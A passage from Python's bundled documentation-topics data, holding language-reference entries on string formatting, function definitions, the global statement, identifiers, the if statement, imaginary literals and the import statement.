braces\n``{}``. Anything that is not contained in braces is considered literal\ntext, which is copied unchanged to the output. If you need to include\na brace character in the literal text, it can be escaped by doubling:\n``{{`` and ``}}``.\n\nThe grammar for a replacement field is as follows:\n\n replacement_field ::= "{" [field_name] ["!" conversion] [":" format_spec] "}"\n field_name ::= arg_name ("." attribute_name | "[" element_index "]")*\n arg_name ::= [identifier | integer]\n attribute_name ::= identifier\n element_index ::= integer | index_string\n index_string ::= <any source character except "]"> +\n conversion ::= "r" | "s" | "a"\n format_spec ::= <described in the next section>\n\nIn less formal terms, the replacement field can start with a\n*field_name* that specifies the object whose value is to be formatted\nand inserted into the output instead of the replacement field. The\n*field_name* is optionally followed by a *conversion* field, which is\npreceded by an exclamation point ``\'!\'``, and a *format_spec*, which\nis preceded by a colon ``\':\'``. These specify a non-default format\nfor the replacement value.\n\nSee also the *Format Specification Mini-Language* section.\n\nThe *field_name* itself begins with an *arg_name* that is either a\nnumber or a keyword. If it\'s a number, it refers to a positional\nargument, and if it\'s a keyword, it refers to a named keyword\nargument. If the numerical arg_names in a format string are 0, 1, 2,\n... in sequence, they can all be omitted (not just some) and the\nnumbers 0, 1, 2, ... will be automatically inserted in that order.\nBecause *arg_name* is not quote-delimited, it is not possible to\nspecify arbitrary dictionary keys (e.g., the strings ``\'10\'`` or\n``\':-]\'``) within a format string. The *arg_name* can be followed by\nany number of index or attribute expressions. An expression of the\nform ``\'.name\'`` selects the named attribute using ``getattr()``,\nwhile an expression of the form ``\'[index]\'`` does an index lookup\nusing ``__getitem__()``.\n\nChanged in version 3.1: The positional argument specifiers can be\nomitted, so ``\'{} {}\'`` is equivalent to ``\'{0} {1}\'``.\n\nSome simple format string examples:\n\n "First, thou shalt count to {0}" # References first positional argument\n "Bring me a {}" # Implicitly references the first positional argument\n "From {} to {}" # Same as "From {0} to {1}"\n "My quest is {name}" # References keyword argument \'name\'\n "Weight in tons {0.weight}" # \'weight\' attribute of first positional arg\n "Units destroyed: {players[0]}" # First element of keyword argument \'players\'.\n\nThe *conversion* field causes a type coercion before formatting.\nNormally, the job of formatting a value is done by the\n``__format__()`` method of the value itself. However, in some cases\nit is desirable to force a type to be formatted as a string,\noverriding its own definition of formatting. By converting the value\nto a string before calling ``__format__()``, the normal formatting\nlogic is bypassed.\n\nThree conversion flags are currently supported: ``\'!s\'`` which calls\n``str()`` on the value, ``\'!r\'`` which calls ``repr()`` and ``\'!a\'``\nwhich calls ``ascii()``.\n\nSome examples:\n\n "Harold\'s a clever {0!s}" # Calls str() on the argument first\n "Bring out the holy {name!r}" # Calls repr() on the argument first\n "More {!a}" # Calls ascii() on the argument first\n\nThe *format_spec* field contains a specification of how the value\nshould be presented, including such details as field width, alignment,\npadding, decimal precision and so on. Each value type can define its\nown "formatting mini-language" or interpretation of the *format_spec*.\n\nMost built-in types support a common formatting mini-language, which\nis described in the next section.\n\nA *format_spec* field can also include nested replacement fields\nwithin it. These nested replacement fields can contain only a field\nname; conversion flags and format specifications are not allowed. The\nreplacement fields within the format_spec are substituted before the\n*format_spec* string is interpreted. This allows the formatting of a\nvalue to be dynamically specified.\n\nSee the *Format examples* section for some examples.\n\n\nFormat Specification Mini-Language\n==================================\n\n"Format specifications" are used within replacement fields contained\nwithin a format string to define how individual values are presented\n(see *Format String Syntax*). They can also be passed directly to the\nbuilt-in ``format()`` function. Each formattable type may define how\nthe format specification is to be interpreted.\n\nMost built-in types implement the following options for format\nspecifications, although some of the formatting options are only\nsupported by the numeric types.\n\nA general convention is that an empty format string (``""``) produces\nthe same result as if you had called ``str()`` on the value. A non-\nempty format string typically modifies the result.\n\nThe general form of a *standard format specifier* is:\n\n format_spec ::= [[fill]align][sign][#][0][width][,][.precision][type]\n fill ::= <a character other than \'{\' or \'}\'>\n align ::= "<" | ">" | "=" | "^"\n sign ::= "+" | "-" | " "\n width ::= integer\n precision ::= integer\n type ::= "b" | "c" | "d" | "e" | "E" | "f" | "F" | "g" | "G" | "n" | "o" | "s" | "x" | "X" | "%"\n\nThe *fill* character can be any character other than \'{\' or \'}\'. The\npresence of a fill character is signaled by the character following\nit, which must be one of the alignment options. If the second\ncharacter of *format_spec* is not a valid alignment option, then it is\nassumed that both the fill character and the alignment option are\nabsent.\n\nThe meaning of the various alignment options is as follows:\n\n +-----------+------------------------------------------------------------+\n | Option | Meaning |\n +===========+============================================================+\n | ``\'<\'`` | Forces the field to be left-aligned within the available |\n | | space (this is the default for most objects). |\n +-----------+------------------------------------------------------------+\n | ``\'>\'`` | Forces the field to be right-aligned within the available |\n | | space (this is the default for numbers). |\n +-----------+------------------------------------------------------------+\n | ``\'=\'`` | Forces the padding to be placed after the sign (if any) |\n | | but before the digits. This is used for printing fields |\n | | in the form \'+000000120\'. This alignment option is only |\n | | valid for numeric types. |\n +-----------+------------------------------------------------------------+\n | ``\'^\'`` | Forces the field to be centered within the available |\n | | space. |\n +-----------+------------------------------------------------------------+\n\nNote that unless a minimum field width is defined, the field width\nwill always be the same size as the data to fill it, so that the\nalignment option has no meaning in this case.\n\nThe *sign* option is only valid for number types, and can be one of\nthe following:\n\n +-----------+------------------------------------------------------------+\n | Option | Meaning |\n +===========+============================================================+\n | ``\'+\'`` | indicates that a sign should be used for both positive as |\n | | well as negative numbers. |\n +-----------+------------------------------------------------------------+\n | ``\'-\'`` | indicates that a sign should be used only for negative |\n | | numbers (this is the default behavior). |\n +-----------+------------------------------------------------------------+\n | space | indicates that a leading space should be used on positive |\n | | numbers, and a minus sign on negative numbers. |\n +-----------+------------------------------------------------------------+\n\nThe ``\'#\'`` option causes the "alternate form" to be used for the\nconversion. The alternate form is defined differently for different\ntypes. This option is only valid for integer, float, complex and\nDecimal types. For integers, when binary, octal, or hexadecimal output\nis used, this option adds the prefix respective ``\'0b\'``, ``\'0o\'``, or\n``\'0x\'`` to the output value. For floats, complex and Decimal the\nalternate form causes the result of the conversion to always contain a\ndecimal-point character, even if no digits follow it. Normally, a\ndecimal-point character appears in the result of these conversions\nonly if a digit follows it. In addition, for ``\'g\'`` and ``\'G\'``\nconversions, trailing zeros are not removed from the result.\n\nThe ``\',\'`` option signals the use of a comma for a thousands\nseparator. For a locale aware separator, use the ``\'n\'`` integer\npresentation type instead.\n\nChanged in version 3.1: Added the ``\',\'`` option (see also **PEP\n378**).\n\n*width* is a decimal integer defining the minimum field width. If not\nspecified, then the field width will be determined by the content.\n\nPreceding the *width* field by a zero (``\'0\'``) character enables\nsign-aware zero-padding for numeric types. This is equivalent to a\n*fill* character of ``\'0\'`` with an *alignment* type of ``\'=\'``.\n\nThe *precision* is a decimal number indicating how many digits should\nbe displayed after the decimal point for a floating point value\nformatted with ``\'f\'`` and ``\'F\'``, or before and after the decimal\npoint for a floating point value formatted with ``\'g\'`` or ``\'G\'``.\nFor non-number types the field indicates the maximum field size - in\nother words, how many characters will be used from the field content.\nThe *precision* is not allowed for integer values.\n\nFinally, the *type* determines how the data should be presented.\n\nThe available string presentation types are:\n\n +-----------+------------------------------------------------------------+\n | Type | Meaning |\n +===========+============================================================+\n | ``\'s\'`` | String format. This is the default type for strings and |\n | | may be omitted. |\n +-----------+------------------------------------------------------------+\n | None | The same as ``\'s\'``. |\n +-----------+------------------------------------------------------------+\n\nThe available integer presentation types are:\n\n +-----------+------------------------------------------------------------+\n | Type | Meaning |\n +===========+============================================================+\n | ``\'b\'`` | Binary format. Outputs the number in base 2. |\n +-----------+------------------------------------------------------------+\n | ``\'c\'`` | Character. Converts the integer to the corresponding |\n | | unicode character before printing. |\n +-----------+------------------------------------------------------------+\n | ``\'d\'`` | Decimal Integer. Outputs the number in base 10. |\n +-----------+------------------------------------------------------------+\n | ``\'o\'`` | Octal format. Outputs the number in base 8. |\n +-----------+------------------------------------------------------------+\n | ``\'x\'`` | Hex format. Outputs the number in base 16, using lower- |\n | | case letters for the digits above 9. |\n +-----------+------------------------------------------------------------+\n | ``\'X\'`` | Hex format. Outputs the number in base 16, using upper- |\n | | case letters for the digits above 9. |\n +-----------+------------------------------------------------------------+\n | ``\'n\'`` | Number. This is the same as ``\'d\'``, except that it uses |\n | | the current locale setting to insert the appropriate |\n | | number separator characters. |\n +-----------+------------------------------------------------------------+\n | None | The same as ``\'d\'``. |\n +-----------+------------------------------------------------------------+\n\nIn addition to the above presentation types, integers can be formatted\nwith the floating point presentation types listed below (except\n``\'n\'`` and None). When doing so, ``float()`` is used to convert the\ninteger to a floating point number before formatting.\n\nThe available presentation types for floating point and decimal values\nare:\n\n +-----------+------------------------------------------------------------+\n | Type | Meaning |\n +===========+============================================================+\n | ``\'e\'`` | Exponent notation. Prints the number in scientific |\n | | notation using the letter \'e\' to indicate the exponent. |\n +-----------+------------------------------------------------------------+\n | ``\'E\'`` | Exponent notation. Same as ``\'e\'`` except it uses an upper |\n | | case \'E\' as the separator character. |\n +-----------+------------------------------------------------------------+\n | ``\'f\'`` | Fixed point. Displays the number as a fixed-point number. |\n +-----------+------------------------------------------------------------+\n | ``\'F\'`` | Fixed point. Same as ``\'f\'``, but converts ``nan`` to |\n | | ``NAN`` and ``inf`` to ``INF``. |\n +-----------+------------------------------------------------------------+\n | ``\'g\'`` | General format. For a given precision ``p >= 1``, this |\n | | rounds the number to ``p`` significant digits and then |\n | | formats the result in either fixed-point format or in |\n | | scientific notation, depending on its magnitude. The |\n | | precise rules are as follows: suppose that the result |\n | | formatted with presentation type ``\'e\'`` and precision |\n | | ``p-1`` would have exponent ``exp``. Then if ``-4 <= exp |\n | | < p``, the number is formatted with presentation type |\n | | ``\'f\'`` and precision ``p-1-exp``. Otherwise, the number |\n | | is formatted with presentation type ``\'e\'`` and precision |\n | | ``p-1``. In both cases insignificant trailing zeros are |\n | | removed from the significand, and the decimal point is |\n | | also removed if there are no remaining digits following |\n | | it. Positive and negative infinity, positive and negative |\n | | zero, and nans, are formatted as ``inf``, ``-inf``, ``0``, |\n | | ``-0`` and ``nan`` respectively, regardless of the |\n | | precision. A precision of ``0`` is treated as equivalent |\n | | to a precision of ``1``. |\n +-----------+------------------------------------------------------------+\n | ``\'G\'`` | General format. Same as ``\'g\'`` except switches to ``\'E\'`` |\n | | if the number gets too large. The representations of |\n | | infinity and NaN are uppercased, too. |\n +-----------+------------------------------------------------------------+\n | ``\'n\'`` | Number. This is the same as ``\'g\'``, except that it uses |\n | | the current locale setting to insert the appropriate |\n | | number separator characters. |\n +-----------+------------------------------------------------------------+\n | ``\'%\'`` | Percentage. Multiplies the number by 100 and displays in |\n | | fixed (``\'f\'``) format, followed by a percent sign. |\n +-----------+------------------------------------------------------------+\n | None | Similar to ``\'g\'``, except with at least one digit past |\n | | the decimal point and a default precision of 12. This is |\n | | intended to match ``str()``, except you can add the other |\n | | format modifiers. |\n +-----------+------------------------------------------------------------+\n\n\nFormat examples\n===============\n\nThis section contains examples of the new format syntax and comparison\nwith the old ``%``-formatting.\n\nIn most of the cases the syntax is similar to the old\n``%``-formatting, with the addition of the ``{}`` and with ``:`` used\ninstead of ``%``. For example, ``\'%03.2f\'`` can be translated to\n``\'{:03.2f}\'``.\n\nThe new format syntax also supports new and different options, shown\nin the follow examples.\n\nAccessing arguments by position:\n\n >>> \'{0}, {1}, {2}\'.format(\'a\', \'b\', \'c\')\n \'a, b, c\'\n >>> \'{}, {}, {}\'.format(\'a\', \'b\', \'c\') # 3.1+ only\n \'a, b, c\'\n >>> \'{2}, {1}, {0}\'.format(\'a\', \'b\', \'c\')\n \'c, b, a\'\n >>> \'{2}, {1}, {0}\'.format(*\'abc\') # unpacking argument sequence\n \'c, b, a\'\n >>> \'{0}{1}{0}\'.format(\'abra\', \'cad\') # arguments\' indices can be repeated\n \'abracadabra\'\n\nAccessing arguments by name:\n\n >>> \'Coordinates: {latitude}, {longitude}\'.format(latitude=\'37.24N\', longitude=\'-115.81W\')\n \'Coordinates: 37.24N, -115.81W\'\n >>> coord = {\'latitude\': \'37.24N\', \'longitude\': \'-115.81W\'}\n >>> \'Coordinates: {latitude}, {longitude}\'.format(**coord)\n \'Coordinates: 37.24N, -115.81W\'\n\nAccessing arguments\' attributes:\n\n >>> c = 3-5j\n >>> (\'The complex number {0} is formed from the real part {0.real} \'\n ... \'and the imaginary part {0.imag}.\').format(c)\n \'The complex number (3-5j) is formed from the real part 3.0 and the imaginary part -5.0.\'\n >>> class Point:\n ... def __init__(self, x, y):\n ... self.x, self.y = x, y\n ... def __str__(self):\n ... return \'Point({self.x}, {self.y})\'.format(self=self)\n ...\n >>> str(Point(4, 2))\n \'Point(4, 2)\'\n\nAccessing arguments\' items:\n\n >>> coord = (3, 5)\n >>> \'X: {0[0]}; Y: {0[1]}\'.format(coord)\n \'X: 3; Y: 5\'\n\nReplacing ``%s`` and ``%r``:\n\n >>> "repr() shows quotes: {!r}; str() doesn\'t: {!s}".format(\'test1\', \'test2\')\n "repr() shows quotes: \'test1\'; str() doesn\'t: test2"\n\nAligning the text and specifying a width:\n\n >>> \'{:<30}\'.format(\'left aligned\')\n \'left aligned \'\n >>> \'{:>30}\'.format(\'right aligned\')\n \' right aligned\'\n >>> \'{:^30}\'.format(\'centered\')\n \' centered \'\n >>> \'{:*^30}\'.format(\'centered\') # use \'*\' as a fill char\n \'***********centered***********\'\n\nReplacing ``%+f``, ``%-f``, and ``% f`` and specifying a sign:\n\n >>> \'{:+f}; {:+f}\'.format(3.14, -3.14) # show it always\n \'+3.140000; -3.140000\'\n >>> \'{: f}; {: f}\'.format(3.14, -3.14) # show a space for positive numbers\n \' 3.140000; -3.140000\'\n >>> \'{:-f}; {:-f}\'.format(3.14, -3.14) # show only the minus -- same as \'{:f}; {:f}\'\n \'3.140000; -3.140000\'\n\nReplacing ``%x`` and ``%o`` and converting the value to different\nbases:\n\n >>> # format also supports binary numbers\n >>> "int: {0:d}; hex: {0:x}; oct: {0:o}; bin: {0:b}".format(42)\n \'int: 42; hex: 2a; oct: 52; bin: 101010\'\n >>> # with 0x, 0o, or 0b as prefix:\n >>> "int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42)\n \'int: 42; hex: 0x2a; oct: 0o52; bin: 0b101010\'\n\nUsing the comma as a thousands separator:\n\n >>> \'{:,}\'.format(1234567890)\n \'1,234,567,890\'\n\nExpressing a percentage:\n\n >>> points = 19\n >>> total = 22\n >>> \'Correct answers: {:.2%}\'.format(points/total)\n \'Correct answers: 86.36%\'\n\nUsing type-specific formatting:\n\n >>> import datetime\n >>> d = datetime.datetime(2010, 7, 4, 12, 15, 58)\n >>> \'{:%Y-%m-%d %H:%M:%S}\'.format(d)\n \'2010-07-04 12:15:58\'\n\nNesting arguments and more complex examples:\n\n >>> for align, text in zip(\'<^>\', [\'left\', \'center\', \'right\']):\n ... \'{0:{fill}{align}16}\'.format(text, fill=align, align=align)\n ...\n \'left<<<<<<<<<<<<\'\n \'^^^^^center^^^^^\'\n \'>>>>>>>>>>>right\'\n >>>\n >>> octets = [192, 168, 0, 1]\n >>> \'{:02X}{:02X}{:02X}{:02X}\'.format(*octets)\n \'C0A80001\'\n >>> int(_, 16)\n 3232235521\n >>>\n >>> width = 5\n >>> for num in range(5,12): #doctest: +NORMALIZE_WHITESPACE\n ... for base in \'dXob\':\n ... print(\'{0:{width}{base}}\'.format(num, base=base, width=width), end=\' \')\n ... print()\n ...\n 5 5 5 101\n 6 6 6 110\n 7 7 7 111\n 8 8 10 1000\n 9 9 11 1001\n 10 A 12 1010\n 11 B 13 1011\n', 'function': '\nFunction definitions\n********************\n\nA function definition defines a user-defined function object (see\nsection *The standard type hierarchy*):\n\n funcdef ::= [decorators] "def" funcname "(" [parameter_list] ")" ["->" expression] ":" suite\n decorators ::= decorator+\n decorator ::= "@" dotted_name ["(" [parameter_list [","]] ")"] NEWLINE\n dotted_name ::= identifier ("." identifier)*\n parameter_list ::= (defparameter ",")*\n ( "*" [parameter] ("," defparameter)* ["," "**" parameter]\n | "**" parameter\n | defparameter [","] )\n parameter ::= identifier [":" expression]\n defparameter ::= parameter ["=" expression]\n funcname ::= identifier\n\nA function definition is an executable statement. Its execution binds\nthe function name in the current local namespace to a function object\n(a wrapper around the executable code for the function). This\nfunction object contains a reference to the current global namespace\nas the global namespace to be used when the function is called.\n\nThe function definition does not execute the function body; this gets\nexecuted only when the function is called. [3]\n\nA function definition may be wrapped by one or more *decorator*\nexpressions. Decorator expressions are evaluated when the function is\ndefined, in the scope that contains the function definition. The\nresult must be a callable, which is invoked with the function object\nas the only argument. The returned value is bound to the function name\ninstead of the function object. Multiple decorators are applied in\nnested fashion. For example, the following code\n\n @f1(arg)\n @f2\n def func(): pass\n\nis equivalent to\n\n def func(): pass\n func = f1(arg)(f2(func))\n\nWhen one or more *parameters* have the form *parameter* ``=``\n*expression*, the function is said to have "default parameter values."\nFor a parameter with a default value, the corresponding *argument* may\nbe omitted from a call, in which case the parameter\'s default value is\nsubstituted. If a parameter has a default value, all following\nparameters up until the "``*``" must also have a default value ---\nthis is a syntactic restriction that is not expressed by the grammar.\n\n**Default parameter values are evaluated when the function definition\nis executed.** This means that the expression is evaluated once, when\nthe function is defined, and that the same "pre-computed" value is\nused for each call. This is especially important to understand when a\ndefault parameter is a mutable object, such as a list or a dictionary:\nif the function modifies the object (e.g. by appending an item to a\nlist), the default value is in effect modified. This is generally not\nwhat was intended. A way around this is to use ``None`` as the\ndefault, and explicitly test for it in the body of the function, e.g.:\n\n def whats_on_the_telly(penguin=None):\n if penguin is None:\n penguin = []\n penguin.append("property of the zoo")\n return penguin\n\nFunction call semantics are described in more detail in section\n*Calls*. A function call always assigns values to all parameters\nmentioned in the parameter list, either from position arguments, from\nkeyword arguments, or from default values. If the form\n"``*identifier``" is present, it is initialized to a tuple receiving\nany excess positional parameters, defaulting to the empty tuple. If\nthe form "``**identifier``" is present, it is initialized to a new\ndictionary receiving any excess keyword arguments, defaulting to a new\nempty dictionary. Parameters after "``*``" or "``*identifier``" are\nkeyword-only parameters and may only be passed used keyword arguments.\n\nParameters may have annotations of the form "``: expression``"\nfollowing the parameter name. Any parameter may have an annotation\neven those of the form ``*identifier`` or ``**identifier``. Functions\nmay have "return" annotation of the form "``-> expression``" after the\nparameter list. These annotations can be any valid Python expression\nand are evaluated when the function definition is executed.\nAnnotations may be evaluated in a different order than they appear in\nthe source code. The presence of annotations does not change the\nsemantics of a function. The annotation values are available as\nvalues of a dictionary keyed by the parameters\' names in the\n``__annotations__`` attribute of the function object.\n\nIt is also possible to create anonymous functions (functions not bound\nto a name), for immediate use in expressions. This uses lambda forms,\ndescribed in section *Lambdas*. Note that the lambda form is merely a\nshorthand for a simplified function definition; a function defined in\na "``def``" statement can be passed around or assigned to another name\njust like a function defined by a lambda form. The "``def``" form is\nactually more powerful since it allows the execution of multiple\nstatements and annotations.\n\n**Programmer\'s note:** Functions are first-class objects. A "``def``"\nform executed inside a function definition defines a local function\nthat can be returned or passed around. Free variables used in the\nnested function can access the local variables of the function\ncontaining the def. See section *Naming and binding* for details.\n\nSee also:\n\n **PEP 3107** - Function Annotations\n The original specification for function annotations.\n', 'global': '\nThe ``global`` statement\n************************\n\n global_stmt ::= "global" identifier ("," identifier)*\n\nThe ``global`` statement is a declaration which holds for the entire\ncurrent code block. It means that the listed identifiers are to be\ninterpreted as globals. It would be impossible to assign to a global\nvariable without ``global``, although free variables may refer to\nglobals without being declared global.\n\nNames listed in a ``global`` statement must not be used in the same\ncode block textually preceding that ``global`` statement.\n\nNames listed in a ``global`` statement must not be defined as formal\nparameters or in a ``for`` loop control target, ``class`` definition,\nfunction definition, or ``import`` statement.\n\n**CPython implementation detail:** The current implementation does not\nenforce the latter two restrictions, but programs should not abuse\nthis freedom, as future implementations may enforce them or silently\nchange the meaning of the program.\n\n**Programmer\'s note:** the ``global`` is a directive to the parser.\nIt applies only to code parsed at the same time as the ``global``\nstatement. In particular, a ``global`` statement contained in a string\nor code object supplied to the built-in ``exec()`` function does not\naffect the code block *containing* the function call, and code\ncontained in such a string is unaffected by ``global`` statements in\nthe code containing the function call. The same applies to the\n``eval()`` and ``compile()`` functions.\n', 'id-classes': '\nReserved classes of identifiers\n*******************************\n\nCertain classes of identifiers (besides keywords) have special\nmeanings. These classes are identified by the patterns of leading and\ntrailing underscore characters:\n\n``_*``\n Not imported by ``from module import *``. The special identifier\n ``_`` is used in the interactive interpreter to store the result of\n the last evaluation; it is stored in the ``builtins`` module. When\n not in interactive mode, ``_`` has no special meaning and is not\n defined. See section *The import statement*.\n\n Note: The name ``_`` is often used in conjunction with\n internationalization; refer to the documentation for the\n ``gettext`` module for more information on this convention.\n\n``__*__``\n System-defined names. These names are defined by the interpreter\n and its implementation (including the standard library). Current\n system names are discussed in the *Special method names* section\n and elsewhere. More will likely be defined in future versions of\n Python. *Any* use of ``__*__`` names, in any context, that does\n not follow explicitly documented use, is subject to breakage\n without warning.\n\n``__*``\n Class-private names. Names in this category, when used within the\n context of a class definition, are re-written to use a mangled form\n to help avoid name clashes between "private" attributes of base and\n derived classes. See section *Identifiers (Names)*.\n', 'identifiers': '\nIdentifiers and keywords\n************************\n\nIdentifiers (also referred to as *names*) are described by the\nfollowing lexical definitions.\n\nThe syntax of identifiers in Python is based on the Unicode standard\nannex UAX-31, with elaboration and changes as defined below; see also\n**PEP 3131** for further details.\n\nWithin the ASCII range (U+0001..U+007F), the valid characters for\nidentifiers are the same as in Python 2.x: the uppercase and lowercase\nletters ``A`` through ``Z``, the underscore ``_`` and, except for the\nfirst character, the digits ``0`` through ``9``.\n\nPython 3.0 introduces additional characters from outside the ASCII\nrange (see **PEP 3131**). For these characters, the classification\nuses the version of the Unicode Character Database as included in the\n``unicodedata`` module.\n\nIdentifiers are unlimited in length. Case is significant.\n\n identifier ::= xid_start xid_continue*\n id_start ::= <all characters in general categories Lu, Ll, Lt, Lm, Lo, Nl, the underscore, and characters with the Other_ID_Start property>\n id_continue ::= <all characters in id_start, plus characters in the categories Mn, Mc, Nd, Pc and others with the Other_ID_Continue property>\n xid_start ::= <all characters in id_start whose NFKC normalization is in "id_start xid_continue*">\n xid_continue ::= <all characters in id_continue whose NFKC normalization is in "id_continue*">\n\nThe Unicode category codes mentioned above stand for:\n\n* *Lu* - uppercase letters\n\n* *Ll* - lowercase letters\n\n* *Lt* - titlecase letters\n\n* *Lm* - modifier letters\n\n* *Lo* - other letters\n\n* *Nl* - letter numbers\n\n* *Mn* - nonspacing marks\n\n* *Mc* - spacing combining marks\n\n* *Nd* - decimal numbers\n\n* *Pc* - connector punctuations\n\n* *Other_ID_Start* - explicit list of characters in PropList.txt to\n support backwards compatibility\n\n* *Other_ID_Continue* - likewise\n\nAll identifiers are converted into the normal form NFKC while parsing;\ncomparison of identifiers is based on NFKC.\n\nA non-normative HTML file listing all valid identifier characters for\nUnicode 4.1 can be found at http://www.dcl.hpi.uni-\npotsdam.de/home/loewis/table-3131.html.\n\n\nKeywords\n========\n\nThe following identifiers are used as reserved words, or *keywords* of\nthe language, and cannot be used as ordinary identifiers. They must\nbe spelled exactly as written here:\n\n False class finally is return\n None continue for lambda try\n True def from nonlocal while\n and del global not with\n as elif if or yield\n assert else import pass\n break except in raise\n\n\nReserved classes of identifiers\n===============================\n\nCertain classes of identifiers (besides keywords) have special\nmeanings. These classes are identified by the patterns of leading and\ntrailing underscore characters:\n\n``_*``\n Not imported by ``from module import *``. The special identifier\n ``_`` is used in the interactive interpreter to store the result of\n the last evaluation; it is stored in the ``builtins`` module. When\n not in interactive mode, ``_`` has no special meaning and is not\n defined. See section *The import statement*.\n\n Note: The name ``_`` is often used in conjunction with\n internationalization; refer to the documentation for the\n ``gettext`` module for more information on this convention.\n\n``__*__``\n System-defined names. These names are defined by the interpreter\n and its implementation (including the standard library). Current\n system names are discussed in the *Special method names* section\n and elsewhere. More will likely be defined in future versions of\n Python. *Any* use of ``__*__`` names, in any context, that does\n not follow explicitly documented use, is subject to breakage\n without warning.\n\n``__*``\n Class-private names. Names in this category, when used within the\n context of a class definition, are re-written to use a mangled form\n to help avoid name clashes between "private" attributes of base and\n derived classes. See section *Identifiers (Names)*.\n', 'if': '\nThe ``if`` statement\n********************\n\nThe ``if`` statement is used for conditional execution:\n\n if_stmt ::= "if" expression ":" suite\n ( "elif" expression ":" suite )*\n ["else" ":" suite]\n\nIt selects exactly one of the suites by evaluating the expressions one\nby one until one is found to be true (see section *Boolean operations*\nfor the definition of true and false); then that suite is executed\n(and no other part of the ``if`` statement is executed or evaluated).\nIf all expressions are false, the suite of the ``else`` clause, if\npresent, is executed.\n', 'imaginary': '\nImaginary literals\n******************\n\nImaginary literals are described by the following lexical definitions:\n\n imagnumber ::= (floatnumber | intpart) ("j" | "J")\n\nAn imaginary literal yields a complex number with a real part of 0.0.\nComplex numbers are represented as a pair of floating point numbers\nand have the same restrictions on their range. To create a complex\nnumber with a nonzero real part, add a floating point number to it,\ne.g., ``(3+4j)``. Some examples of imaginary literals:\n\n 3.14j 10.j 10j .001j 1e100j 3.14e-10j\n', 'import': '\nThe ``import`` statement\n************************\n\n import_stmt ::= "import" module ["as" name] ( "," module ["as" name] )*\n | "from" relative_module "import" identifier ["as" name]\n ( "," identifier ["as" name] )*\n | "from" relative_module "import" "(" identifier ["as" name]\n ( "," identifier ["as" name] )* [","] ")"\n | "from" module "import" "*"\n module ::= (identifier ".")* identifier\n relative_module ::= "."* module | "."+\n name ::= identifier\n\nThe basic import statement (no ``from`` clause) is executed in two\nsteps:\n\n1. find a module, loading and initializing it if necessary\n\n2. define a name or names in the local namespace for the scope where\n the ``import`` statement occurs.\n\nWhen the statement contains multiple clauses (separated by commas) the\ntwo steps are carried out separately for each clause, just as though\nthe clauses had been separated out into individiual import statements.\n\nThe details of the first step, finding and loading modules is\ndescribed in greater detail in the section on the *import system*,\nwhich also describes the various types of packages and modules that\ncan be imported, as well as all the hooks that can be used to\ncustomize the import system. Note that failures in this step may\nindicate either that the module could not be located, *or* that an\nerror occurred while initializing the module, which includes execution\nof the module\'s code.\n\nIf the requested module is retrieved successfully, it will be made\navailable in the local namespace in one of three ways:\n\n* If the module name is followed by ``as``, then the name following\n ``as`` is bound directly to the imported module.\n\n* If no other name is specified, and the module being imported is a\n top level module, the module\'s name is bound in the local namespace\n as a reference to the imported module\n\n* If the module being imported is *not* a top level module, then the\n name of the top level package that contains the module is bound in\n the local namespace as a reference to the top level package. The\n imported module must be accessed using its full qualified name\n rather than directly\n\nThe ``from`` form uses a slightly more complex process:\n\n1. find the module specified in the ``from`` clause loading and\n initializing it if necessary;\n\n2. for each of the identifiers specified in the ``import`` clauses:\n\n 1. check if the imported module has an attribute by that name\n\n 2. if not, attempt to import a submodule with that name and then\n check the imported module again for that attribute\n\n 3. if the attribute is not found, ``ImportError`` is raised.\n\n 4. otherwise, a reference to that value is bound in the local\n namespace, using the name in the ``as`` clause if it is present,\n otherwise using the attribute name\n\nExamples:\n\n import foo # foo imported and bound locally\n import foo.bar.baz # foo.bar.baz imported, foo bound locally\n import foo.bar.baz as fbb # foo.bar.baz imported and bound as fbb\n from foo.bar import baz # foo.bar.baz imported and bound as baz\n from foo import attr # foo imported and foo.attr bound as attr\n\nIf the list of identifiers is replaced by a star (``\'*\'``), all public\nnames defined in the module are bound in the local namespace for the\nscope where the ``import`` statement occurs.\n\nThe *public names* defined by a module are determined by checking the\nmodule\'s namespace for a variable named ``__all__``; if defined, it\nmust be a sequence of strings which are names defined or imported by\nthat module. The names given in ``__all__`` are all considered public\nand are required to exist. If ``__all__`` is not defined, the set of\npublic names includes all names found in the module\'s namespace which\ndo not begin with an underscore character (``\'_\'``). ``__all__``\nshould contain the entire public API. It is intended to avoid\naccidentally exporting items that are not part of the API (such as\nlibrary modules which were imported and used within the module).\n\nThe ``from`` form with ``*`` may only occur in a module scope.\nAttempting to use it in class or function definitions will raise a\n``SyntaxError``.\n\nThe *public names* defined by a module are determined by checking the\nmodule\'s namespace for a variable named ``__all__``; if defined, it\nmust be a sequence of strings which are names defined or imported by\nthat module. The names given in ``__all__`` are all considered public\nand are required to exist. If ``__all__`` is not defined, the set of\npublic names includes all names found in the module\'s namespace which\ndo not begin with an underscore character (``\'_\'``). ``__all__``\nshould contain the entire public API. It is intended to avoid\naccidentally exporting items that are not part of the API (such as\nlibrary modules which were imported and used within the module).\n\nThe ``from`` form with ``*`` may only occur in a module scope. The\nwild card form of import --- ``import *`` --- is only allowed at the\nmodule level. Attempting to use it in class or function definitions\nwill raise a ``SyntaxError``.\n\nWhen specifying what module to import you do not have to specify the\nabsolute name of the module. When a module or package is contained\nwithin another package it is possible to make a relative import within\nthe same top package without having to mention the package name. By\nusing leading dots in the specified module or package after ``from``\nyou can specify how high to traverse up the current package hierarchy\nwithout specifying exact names. One leading dot means the current\npackage where the module making the import exists. Two dots means up\none package level. Three dots is up two levels, etc. So if you execute\n``from . import mod`` from a module in the ``pkg`` package then you\nwill end up importing ``pkg.mod``. If you execute ``from ..subpkg2\nimport mod`` from within ``pkg.subpkg1`` you will import\n``pkg.subpkg2.mod``. The specification for relative imports is\ncontained within **PEP 328**.\n\n``importlib.import_module()`` is provided to support applications that\ndetermine which modules need to be loaded dynamically.\n\n\nFuture statements\n=================\n\nA *future statement* is a directive to the compiler that a particular\nmodule should be compiled using syntax or semantics that will be\navailable in a specified future release of Python. The future\nstatement is intended to ease migration to future versions of Python\nthat introduce incompatible changes to the language. It allows use of\nthe new features on a per-module basis before the release in which the\nfeature becomes standard.\n\n future_statement ::= "from" "__future__" "import" feature ["as" name]\n ("," feature ["as" name])*\n | "from" "__future__" "import" "(" feature ["as" name]\n ("," feature ["as" name])* [","] ")"\n feature ::= identifier\n name ::= identifier\n\nA future statement must appear near the top of the module. The only\nlines that can appear before a future statement are:\n\n* the module docstring (if any),\n\n* comments,\n\n* blank lines, and\n\n* other future 